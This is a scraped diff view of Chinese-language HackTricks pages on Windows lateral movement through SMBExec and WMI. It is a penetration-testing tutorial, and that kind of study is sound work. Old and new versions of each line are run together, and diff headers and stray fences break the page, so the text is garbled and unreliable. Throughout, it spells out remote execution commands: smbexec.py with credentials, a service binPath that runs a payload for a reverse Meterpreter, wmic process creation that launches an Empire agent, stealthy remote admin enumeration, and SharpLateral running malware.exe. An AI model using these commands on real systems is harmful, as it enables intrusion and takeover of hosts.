* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFT系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享你的黑客技巧**。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
## How it Works
**Smbexec** 以类似于**Psexec**的方式运行,针对受害者系统上的**cmd.exe**或**powershell.exe**进行后门执行,避免使用恶意可执行文件。
## **SMBExec**
```bash
smbexec.py WORKGROUP/username:password@10.10.10.10
```
Smbexec的功能涉及在目标机器上创建一个临时服务例如“BTOBTO”以执行命令而不会释放二进制文件。该服务被构建为通过cmd.exe的路径%COMSPEC%运行命令将输出重定向到临时文件并在执行后删除自身。这种方法隐蔽但为每个命令生成事件日志通过为每个从攻击者端发出的命令重复此过程提供一个非交互式“shell”。
## 在没有二进制文件的情况下执行命令
这种方法允许通过服务binPaths直接执行命令无需二进制文件。这对于在Windows目标上执行一次性命令特别有用。例如使用Metasploit的`web_delivery`模块与针对PowerShell的反向Meterpreter有效载荷可以建立一个监听器提供必要的执行命令。在攻击者的Windows机器上创建并启动一个远程服务binPath设置为通过cmd.exe执行此命令即使可能出现服务响应错误也可以在Metasploit监听器端实现回调和有效载荷执行。
### 命令示例
可以使用以下命令创建并启动服务:
```cmd
sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"
sc start [ServiceName]
```
# 参考资料
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
<details>
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
支持HackTricks的其他方式
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -2,102 +2,94 @@
<details> <details>
<summary><strong>从零到英雄学习AWS黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式: 其他支持HackTricks的方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
## 它是如何工作的 ## 工作原理解释
Wmi允许在您知道用户名/(密码/哈希)的主机上打开进程。然后Wmicexec使用wmi执行每个要求执行的命令这就是为什么Wmicexec为您提供半交互式shell 通过使用WMI可以在已知用户名和密码或哈希的主机上打开进程。通过Wmiexec执行命令提供半交互式的shell体验
**dcomexec.py:** 这个脚本提供一个类似于wmiexec.py的半交互式shell但使用不同的DCOM端点ShellBrowserWindow DCOM对象。目前它支持MMC20. Application, Shell Windows和Shell Browser Window对象。来自[这里](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) **dcomexec.py** 利用不同的DCOM端点此脚本提供类似于wmiexec.py的半交互式shell特别是利用ShellBrowserWindow DCOM对象。目前支持MMC20。应用程序、Shell Windows和Shell Browser Window对象。来源[Hacking Articles](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
## WMI基础 ## WMI基础知识
### 命名空间 ### 命名空间
WMI被划分为类似目录的层次结构,\root容器以及\root下的其他目录。这些“目录路径”被称为命名空间。\ WMI的顶级容器是\root采用类似目录样式的层次结构其中包含额外的目录称为命名空间。
列出命名空间: 列出命名空间的命令
```bash ```bash
#Get Root namespaces # Retrieval of Root namespaces
gwmi -namespace "root" -Class "__Namespace" | Select Name gwmi -namespace "root" -Class "__Namespace" | Select Name
#List all namespaces (you may need administrator to list all of them) # Enumeration of all namespaces (administrator privileges may be required)
Get-WmiObject -Class "__Namespace" -Namespace "Root" -List -Recurse 2> $null | select __Namespace | sort __Namespace Get-WmiObject -Class "__Namespace" -Namespace "Root" -List -Recurse 2> $null | select __Namespace | sort __Namespace
#List namespaces inside "root\cimv2" # Listing of namespaces within "root\cimv2"
Get-WmiObject -Class "__Namespace" -Namespace "root\cimv2" -List -Recurse 2> $null | select __Namespace | sort __Namespace Get-WmiObject -Class "__Namespace" -Namespace "root\cimv2" -List -Recurse 2> $null | select __Namespace | sort __Namespace
``` ```
列出命名空间的类别使用 在命名空间中可以使用以下命令列出类
```bash ```bash
gwmwi -List -Recurse #If no namespace is specified, by default is used: "root\cimv2" gwmwi -List -Recurse # Defaults to "root\cimv2" if no namespace specified
gwmi -Namespace "root/microsoft" -List -Recurse gwmi -Namespace "root/microsoft" -List -Recurse
``` ```
### **类** ### **类**
WMI 类名例如win32\_process是任何 WMI 操作的起点。我们始终需要知道类名和它所在的命名空间。\ 了解 WMI 类名(例如 win32\_process及其所属的命名空间对于任何 WMI 操作至关重要。
列出以 `win32` 开头的类: 列出以 `win32` 开头的类的命令
```bash ```bash
Get-WmiObject -Recurse -List -class win32* | more #If no namespace is specified, by default is used: "root\cimv2" Get-WmiObject -Recurse -List -class win32* | more # Defaults to "root\cimv2"
gwmi -Namespace "root/microsoft" -List -Recurse -Class "MSFT_MpComput*" gwmi -Namespace "root/microsoft" -List -Recurse -Class "MSFT_MpComput*"
``` ```
调用一个类: 调用一个类:
```bash ```bash
#When you don't specify a namespaces by default is "root/cimv2" # Defaults to "root/cimv2" when namespace isn't specified
Get-WmiObject -Class win32_share Get-WmiObject -Class win32_share
Get-WmiObject -Namespace "root/microsoft/windows/defender" -Class MSFT_MpComputerStatus Get-WmiObject -Namespace "root/microsoft/windows/defender" -Class MSFT_MpComputerStatus
``` ```
### 方法 ### 方法
WMI 类包含一个或多个可以执行的函数。这些函数被称为方法 方法是 WMI 类的一个或多个可执行函数,可以被执行
```bash ```bash
#Load a class using [wmiclass], leist methods and call one # Class loading, method listing, and execution
$c = [wmiclass]"win32_share" $c = [wmiclass]"win32_share"
$c.methods $c.methods
#Find information about the class in https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-share # To create a share: $c.Create("c:\share\path","name",0,$null,"My Description")
$c.Create("c:\share\path","name",0,$null,"My Description")
#If returned value is "0", then it was successfully executed
``` ```
```bash ```bash
#List methods # Method listing and invocation
Get-WmiObject -Query 'Select * From Meta_Class WHERE __Class LIKE "win32%"' | Where-Object { $_.PSBase.Methods } | Select-Object Name, Methods
#Call create method from win32_share class
Invoke-WmiMethod -Class win32_share -Name Create -ArgumentList @($null, "Description", $null, "Name", $null, "c:\share\path",0) Invoke-WmiMethod -Class win32_share -Name Create -ArgumentList @($null, "Description", $null, "Name", $null, "c:\share\path",0)
``` ```
## WMI 枚举 ## WMI枚举
### 检查 WMI 服务 ### WMI服务状态
这是您检查 WMI 服务是否正在运行的方法 用于验证WMI服务是否正常运行的命令
```bash ```bash
#Check if WMI service is running # WMI service status check
Get-Service Winmgmt Get-Service Winmgmt
Status Name DisplayName
------ ---- -----------
Running Winmgmt Windows Management Instrumentation
#From CMD # Via CMD
net start | findstr "Instrumentation" net start | findstr "Instrumentation"
``` ```
### 系统信息 ### 系统和进程信息
通过WMI收集系统和进程信息
```bash ```bash
Get-WmiObject -ClassName win32_operatingsystem | select * | more Get-WmiObject -ClassName win32_operatingsystem | select * | more
```
### 进程信息
```bash
Get-WmiObject win32_process | Select Name, Processid Get-WmiObject win32_process | Select Name, Processid
``` ```
从攻击者的角度来看WMI 在枚举有关系统或域的敏感信息方面非常有价值 对于攻击者来说WMI 是一个强大的工具,可以枚举有关系统或域的敏感数据。
``` ```bash
wmic computerystem list full /format:list wmic computerystem list full /format:list
wmic process list /format:list wmic process list /format:list
wmic ntdomain list /format:list wmic ntdomain list /format:list
@ -105,35 +97,20 @@ wmic useraccount list /format:list
wmic group list /format:list wmic group list /format:list
wmic sysaccount list /format:list wmic sysaccount list /format:list
``` ```
### **手动远程WMI查询**
```bash 通过精心构建命令可以远程查询WMI以获取特定信息如本地管理员或已登录用户。
Get-WmiObject Win32_Processor -ComputerName 10.0.0.182 -Credential $cred
```
## **手动远程WMI查询**
例如以下是一种非常隐秘的方法用于发现远程计算机上的本地管理员注意domain是计算机名称 要在远程计算机上隐蔽地识别本地管理员和已登录用户可以通过特定的WMI查询实现。`wmic`还支持从文本文件中读取以同时在多个节点上执行命令。
{% code overflow="wrap" %} 要通过WMI远程执行进程例如部署Empire代理需要使用以下命令结构成功执行将返回值“0”
```bash ```bash
wmic /node:ordws01 path win32_groupuser where (groupcomponent="win32_group.name=\"administrators\",domain=\"ORDWS01\"") wmic /node:hostname /user:user path win32_process call create "empire launcher string here"
``` ```
```markdown 这个过程展示了WMI远程执行和系统枚举的能力突出了它对系统管理和渗透测试的实用性。
另一个实用的单行命令是查看谁登录了机器(当你在寻找管理员时):
```
```bash
wmic /node:ordws01 path win32_loggedonuser get antecedent
```
`wmic` 甚至可以从文本文件中读取节点,并在所有节点上执行命令。如果你有一个工作站的文本文件:
```
wmic /node:@workstations.txt path win32_loggedonuser get antecedent
```
**我们将通过WMI远程创建一个进程来执行Empire代理**
```bash
wmic /node:ordws01 /user:CSCOU\jarrieta path win32_process call create "**empire launcher string here**"
```
我们看到它成功执行ReturnValue = 0。一秒钟后我们的Empire监听器捕获到了它。注意进程ID与WMI返回的是相同的。
所有这些信息都是从这里提取的:[https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) # 参考资料
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
## 自动化工具 ## 自动化工具
@ -143,20 +120,18 @@ wmic /node:ordws01 /user:CSCOU\jarrieta path win32_process call create "**empire
```bash ```bash
SharpLateral redwmi HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe SharpLateral redwmi HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
``` ```
```markdown
{% endcode %} {% endcode %}
<details> <details>
<summary><strong>从零到英雄学习AWS黑客攻击通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
```